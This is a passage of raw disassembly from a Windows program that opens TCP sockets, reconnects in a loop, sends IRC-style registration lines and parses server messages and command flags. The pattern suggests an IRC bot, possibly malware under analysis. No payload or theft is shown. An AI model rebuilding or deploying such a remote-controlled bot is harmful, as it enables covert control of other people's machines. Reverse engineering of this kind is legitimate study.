byte ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E44 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax nop call near ptr 71AB9639h loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC5E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 1B6h push eax push offset dword_4493A4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 push edx push offset dword_449280 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449312 mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 0DBh push eax push offset byte_4492C9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 add edx, 92h push edx push offset byte_44935B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44947F mov ecx, offset word_44ACD6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 call near ptr 71AB3B91h nop push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2821DE2h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44932C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4492C9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h nop call near ptr 2821DE2h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F76F7 add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_448F30 mov ecx, offset byte_44935B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44935B call sub_4017EE mov edx, dword_4490DC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490E4 push eax mov ecx, offset byte_4E8E45 call sub_4017EE mov ecx, dword_4490E0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 call near ptr 27E0B10h nop lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493A4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490BC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490C0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov ecx, dword_4490C4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490CC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449804 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F30 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F30 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490C8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C58 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C58 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F30 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490EC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp 